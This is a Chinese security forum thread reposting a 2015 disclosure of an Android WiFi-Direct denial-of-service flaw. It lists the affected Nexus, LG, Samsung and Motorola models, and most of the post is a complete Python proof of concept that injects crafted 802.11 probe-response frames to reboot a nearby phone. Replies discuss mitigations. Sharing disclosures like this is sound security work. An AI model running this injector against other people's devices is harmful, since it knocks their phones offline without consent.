查看: 15452|回复: 5

安卓Wifi直连拒绝服务漏洞

[复制链接]
发表于 2015-1-30 10:56:35 | 显示全部楼层 |阅读模式
[CORE-2015-0002] - Android WiFi-Direct Denial of Service
http://seclists.org/fulldisclosure/2015/Jan/104

部分安卓设备在搜索Wifi直连设备时可遭受拒绝服务攻击

攻击者可以发送一个精心构造的802.11响应信号帧 使Dalvik子系统由于WiFiMonitor类中未捕获的异常而重启

受影响设备版本:
   . Nexus 5 - Android 4.4.4
   . Nexus 4 - Android 4.4.4
   . LG D806 - Android 4.2.2
   . Samsung SM-T310 - Android 4.2.2
   . Motorola RAZR HD - Android 4.1.2

在4.4.4系统上复现成功

由于安卓官方回应“该漏洞影响较小,没有时间修复”,目前该漏洞没有任何补丁

POC:
[AppleScript] 查看源码 复制代码
#!/usr/bin/env python 

import sys 
import time 
import struct 
import PyLorcon2 


def get_probe_response(source, destination, channel): 
  frame = str() 
  frame += "\x50\x00"  # Frame Control 
  frame += "\x00\x00"  # Duration 
  frame += destination 
  frame += source 
  frame += source 
  frame += "\x00\x00"  # Sequence Control 
  frame += "\x00\x00\x00\x00\x00\x00\x00\x00"  # Timestamp 
  frame += "\x64\x00"  # Beacon Interval 
  frame += "\x30\x04"  # Capabilities Information 

  # SSID IE 
  frame += "\x00" 
  frame += "\x07" 
  frame += "DIRECT-" 

  # Supported Rates 
  frame += "\x01" 
  frame += "\x08" 
  frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C" 

  # DS Parameter Set 
  frame += "\x03" 
  frame += "\x01" 
  frame += struct.pack("B", channel) 

  # P2P 
  frame += "\xDD" 
  frame += "\x27" 
  frame += "\x50\x6F\x9A" 
  frame += "\x09" 
  # P2P Capabilities 
  frame += "\x02" # ID 
  frame += "\x02\x00" # Length 
  frame += "\x21\x00" 
  # P2P Device Info 
  frame += "\x0D" # ID 
  frame += "\x1B\x00" # Length 
  frame += source 
  frame += "\x01\x88" 
  frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05" 
  frame += "\x00" 
  frame += "\x10\x11" 
  frame += "\x00\x06" 
  frame += "fafa\xFA\xFA" 

  return frame 


def str_to_mac(address): 
  return "".join(map(lambda i: chr(int(i, 16)), address.split(":"))) 


if __name__ == "__main__": 
  if len(sys.argv) != 3: 
    print "Usage:" 
    print "  poc.py <iface> <target>" 
    print "Example:" 
    print "  poc.py wlan0 00:11:22:33:44:55" 
    sys.exit(-1) 

  iface = sys.argv[1] 
  destination = str_to_mac(sys.argv[2]) 

  context = PyLorcon2.Context(iface) 
  context.open_injmon() 

  channel = 1 
  source = str_to_mac("00:11:22:33:44:55") 
  frame = get_probe_response(source, destination, channel) 

  print "Injecting PoC." 
  for i in range(100): 
    context.send_bytes(frame) 
    time.sleep(0.100)

运行poc,在 设置-wlan-右下按钮wlan直连-搜索设备时触发漏洞,系统重启
回复

使用道具 举报

发表于 2015-1-30 20:29:54 | 显示全部楼层
远程让手机重启不算漏洞
回复 支持 反对

使用道具 举报

发表于 2015-1-30 22:13:37 | 显示全部楼层
又来分享好东西了  
回复 支持 反对

使用道具 举报

发表于 2026-5-21 00:00:08 | 显示全部楼层

Re: 安卓Wifi直连拒绝服务漏洞

这个漏洞确实挺烦人的,尤其安卓官方直接说“没时间修”,等于把风险留给了用户。如果你用的是列表里的设备,又经常用WiFi直连传文件,建议暂时关掉这个功能,或者在设置里把“WLAN直连”的搜索关掉,避免被攻击。另外有些第三方ROM或安全补丁可能已经修复了这个问题,可以看看有没有社区维护的补丁。实在不行,只能尽量别在公共场合开WiFi直连了。
回复 支持 反对

使用道具 举报

发表于 5 天前 | 显示全部楼层

Re: 安卓Wifi直连拒绝服务漏洞

感谢分享,这个漏洞细节很详细。官方以“影响较小”为由不修复确实有点遗憾,毕竟对老机型用户来说,如果有人恶意利用,搜索WiFi直连时系统就可能重启,体验很差。你有没有试过其他Android版本,比如5.0或更高?或者有没有什么缓解方法,比如停用WiFi直连?
回复 支持 反对

使用道具 举报

发表于 4 天前 | 显示全部楼层

Re: 安卓Wifi直连拒绝服务漏洞

这个漏洞看起来影响挺广的,Nexus 4/5、LG、三星、摩托罗拉都有份,而且4.4.4上能复现。官方直接说“影响较小不修”有点不负责任,毕竟WiFi直连被攻击后会直接重启系统,体验很差。POC写得挺清楚,有条件的可以测试一下自己设备是否受影响。不过攻击需要发送802.11帧,实际利用门槛不算太低,但如果在公共WiFi环境下被针对性攻击还是很麻烦。感谢分享!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-25 04:01 , Processed in 0.033959 second(s), 17 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部